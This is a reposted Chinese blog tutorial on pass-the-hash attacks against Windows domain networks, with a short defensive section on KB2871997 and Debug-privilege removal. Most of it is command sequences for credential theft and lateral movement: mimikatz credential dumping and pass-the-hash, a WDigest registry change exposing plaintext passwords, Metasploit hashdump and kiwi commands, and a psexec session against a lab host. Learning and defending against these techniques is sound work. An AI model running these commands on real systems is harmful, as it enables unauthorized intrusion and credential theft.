20210515web渗透学习之内网渗透哈希攻击(转)

本文详细介绍了哈希传递攻击的概念、利用方法和防范措施,包括使用mimikatz和Metasploit Framework进行攻击,以及KB2871997补丁的影响。同时,提出了移除本地管理员的Debug权限作为防范策略。
摘要由CSDN通过智能技术生成

哈希传递攻击利用(Pass The Hash)
        </h1>
        <div class="clear"></div>
        <div class="postBody">
            <div id="cnblogs_post_body" class="blogpost-body cnblogs-markdown">

最近又复习了一下内网的相关知识,把以前的整理了一下发出来做个记录。

1|00x01 哈希传递攻击概念

有一点内网渗透经验的都应该听说过哈希传递攻击,通过找到相应账户相关的密码散列值(LM Hash,NTLM Hash)来进行未授权登陆。
可参考Wikipedia的介绍,地址如下:https://en.wikipedia.org/wiki/Pass_the_hash
在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登陆内网中的其他计算机。
在Windows系统中,通常会使用NTLM身份认证,NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash.在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文。此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。修改注册表命令为:

 
 
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

因此,攻击者如果使用工具将散列值传递到其他计算机中,进行权限验证,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程),实现对计算机的控制。

1|1NTLM Hash与NTLM

hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。
在Windows中,密码Hash目前称之为NTLM Hash,其中NTLM全称是:“NT LAN Manager”。这个NTLM是一种网络认证协议,与NTLM Hash的关系就是:NTLM网络认证协议是以NTLM Hash作为根本凭证进行认证的协议。也就是说,NTLM与NTLM Hash相互对应。在本地认证的过程中,其实就是将用户输入的密码转换为NTLM Hash与SAM中的NTLM Hash进行比较。
注:
mimikatz支持导出内存中用户的LM hash,但前提是Windows系统支持LM hash
Windows Server 2008启用LM hash的方法:
gpedit.msc->计算机配置->Windows 设置->安全设置->本地策略->安全选项
找到网络安全︰ 不要在下次更改密码存储 LAN 管理器的哈希值,选择已禁用
系统下一次更改密码后,就能够导出LM hash(已经被弃用了)

2|00x02 利用方法

2|11.首先就是神器mimikatz,但你首先得拥有本地管理员的执行的权限。

 
 
privilege::debug sekurlsa::logonpasswords


复制NTLM Hash的值

 
 
sekurlsa::pth /user:administrator /domain:XIAN.COM /ntlm: 7365e 3b 22baeaebc 0411873eedf 84390

完成之后会弹出cmd.exe,或者重新开一个命令行

也可以尝试列出被哈希传递攻击的域内靶机的c盘内容

2|2利用msf进行哈希传递攻击

1|0msf内置的mimikatz获取hash(需要管理员权限)

在msf中也内置有mimikatz,以下命令都可以在msf中获取hash

 
 
hashdump run hashdump run post/windows/gather/smart_hashdump 除了meterpreter自带的,还可以通过加载mimikatz获得: load mimikatz(必须,否则无以下命令) msv 获取的是hash值 tspkg tspkg凭证相关的模块 wdigest 读取内存中存放的账号密码明文信息 kerberos kerberos相关的模块 ssp 获取的是明文信息

mimikatz的原生命令在这里有些改动
mimikatz_command 模块可以让我们使用mimikatz的全部功能。

 
 
meterpreter > mimikatz_command -f a:: 输入一个错误的模块,可以列出所有模块 meterpreter > mimikatz_command -f samdump:: 可以列出samdump的子命令 meterpreter > mimikatz_command -f samdump::hashes meterpreter > mimikatz_command -f handle:: list 列出应用进程 meterpreter > mimikatz_command -f service:: list 列出服务

例如

 
 
mimikatz_command -f samdump::hashes 获取 hash


建议每种都试一下,可能因为windows版本的高低,有些情况一种命令获取不到,比如我的win2003就只能用hashdump命令才能看到密码hash,

1|0msf的kiwi模块(需要系统权限)

kiwi就是msf内置的mimikatz模块的升级版
但是kiwi是默认加载32位系统的,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后用migrate命令将meterpreter进程迁移到一个64位程序的进程中,才能加载mimikatz并且查看系统明文。如果目标系统是32位的,则没有这个限制。
使用前先在meterpreter下加载kiwi模块

使用命令creds_kerberos列举所有kerberos凭据

可以看到我之前用msf内置的mimikatz没有加载出来的密码,现在明文加载出来了。
再来将用户hash密码加载出来kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令

可以看到成功列出用户密码hash
kiwi模块命令集合

 
 
creds_all: 列举所有凭据 creds_kerberos:列举所有kerberos凭据 creds_msv:列举所有msv凭据 creds_ssp:列举所有ssp凭据 creds_tspkg:列举所有tspkg凭据 creds_wdigest:列举所有wdigest凭据 dcsync: 通过DCSync检索用户帐户信息 dcsync_ntlm: 通过DCSync检索用户帐户NTLM散列、SID和RID golden_ticket_create:创建黄金票据 kerberos_ticket_list:列举kerberos票据 kerberos_ticket_purge:清除kerberos票据 kerberos_ticket_use:使用kerberos票据 kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令 lsa_dump_sam: dump出lsa的SAM lsa_dump_secrets: dump出lsa的密文 password_change:修改密码 wifi_list: 列出当前用户的wifi配置文件 wifi_list_shared: 列出共享wifi配置文件/编码

1|0msf psexec模块

PsExec是sysinternals套件中的一款强大的软件,通过他可以提权和执行远程命令,对于批量大范围的远程运维能起到很好的效果,尤其是在域环境下。但现在,攻击者渐渐开始使用psexec,通过命令行环境与目标靶机进行连接,甚至控制目标机器,而不需要通过远程连接协议(RDP)进行图形化设置,降低了因为恶意操作被管理员发现的可能性(因为PsExec是Windows提供的工具,所以杀毒软件可能会将其列入白名单)
msf中有3个psexec模块都可以进行Hash传递利用:

 
 
# 执行单个命令的PTH模块 auxiliary/admin/smb/psexec_command # 执行直接就获取到meterpreter的PTH模块 exploit/windows/smb/psexec # 支持对一个网段进行PTH进行验证的模块 exploit/windows/smb/psexec_psh

再使用pesxec模块之前要保证:

  1. 开启445端口 SMB服务
  2. 开启admin$共享
    使用之前板块获取到的管理员NTLM Hash
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:7365e3b22baeaebc0411873eedf84390这里前半部分的LM Hash不重要,只要保证后半部分的NTML Hash正确就行。
 
 
msf5 exploit(multi/handler) > use exploit/windows/smb/psexec msf5 exploit(windows/smb/psexec) > set lhost 192.168.5.128 lhost => 192.168.5.128 msf5 exploit(windows/smb/psexec) > set rhost 192.168.5.11 rhost => 192.168.5.11 msf5 exploit(windows/smb/psexec) > set smbuser Administrator smbuser => Administrator msf5 exploit(windows/smb/psexec) > set smbpass a 780a 2793038e 0d 41e 929ffc 01395127: 7365e 3b 22baeaebc 0411873eedf 84390 smbpass => a 780a 2793038e 0d 41e 929ffc 01395127: 7365e 3b 22baeaebc 0411873eedf 84390 msf5 exploit(windows/smb/psexec) > run



这里还有很多不错的获取hash方法没写(主要是懒,用msf方便),比如PowerShell、WCE、AES-256密钥哈希传递、python第三方库impacket下的secretsdump等等,以后有空再记录吧.....

3|00x03 防范措施

3|1KB2871997补丁的影响

防范首先想到打补丁,微软也早在2014年5月发布了KB2871997补丁,该补丁禁止通过本地管理员权限与远程计算机进行连接,其后果就是:无法通过本地管理员权限对远程计算机使用Psexec、WMI、smbecec等,也无法访问远程的文件共享等。
但实际上就算打了KB2871997补丁后,Administrator账号(SID为500)也是例外的,使用该账户的NTLM Hash依然可以进行哈希传递

3|2防御 mimikatz 攻击

mimikatz在抓取散列值或明文密码时,需要用到Debug权限(因为mimikatz需要和lsass进程进行交互,如果没有Debug权限,mimikatz将不能读取lsass进程里的密码)。而Debug权限归本地管理员Administrator所有,目的是确定哪些用户可以将调试器附加到任何进程或内核中,但一般Administrator不会用到这个权限(除非是系统进程)。

所以在配置用户权限时,可以将拥有Debug权限的本地管理员从Administrator组中移除。重启系统之后,在运行mimikatz,在第一步"privilege::debug"时就会报错了。

4|00x04 参考文献

http://saucer-man.com/information_security/443.html#cl-11
https://saucer-man.com/information_security/79.html#cl-13
https://www.freebuf.com/articles/system/217681.html
https://blog.csdn.net/qq_36119192/article/details/104802921
https://www.cnblogs.com/Mikasa-Ackerman/p/hou-shen-tou-zhong-de-mi-ma-zhua-qu.html


EOF

本文作者Lushun
本文链接: https://www.cnblogs.com/Xy–1/p/13216686.html
关于博主:评论和私信会在第一时间回复。或者 直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角 推荐一下。您的鼓励是博主的最大动力!
分类: Kali, 漏洞复现
<div id="blog_post_info">
0
0
<div class="clear"></div>
<div id="post_next_prev">

<a href="https://www.cnblogs.com/Xy--1/p/13183256.html" class="p_n_p_prefix">« </a> 上一篇:    <a href="https://www.cnblogs.com/Xy--1/p/13183256.html" title="发布于 2020-06-23 17:21">python协程概念</a>
<br>
<a href="https://www.cnblogs.com/Xy--1/p/13235688.html" class="p_n_p_prefix">» </a> 下一篇:    <a href="https://www.cnblogs.com/Xy--1/p/13235688.html" title="发布于 2020-07-04 17:03">mssql 手工注入流程小结</a>
posted @ 2020-06-30 23:20  Lushun  阅读( 2263)  评论( 0编辑  收藏
</div><!--end: topics 文章、评论容器-->
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值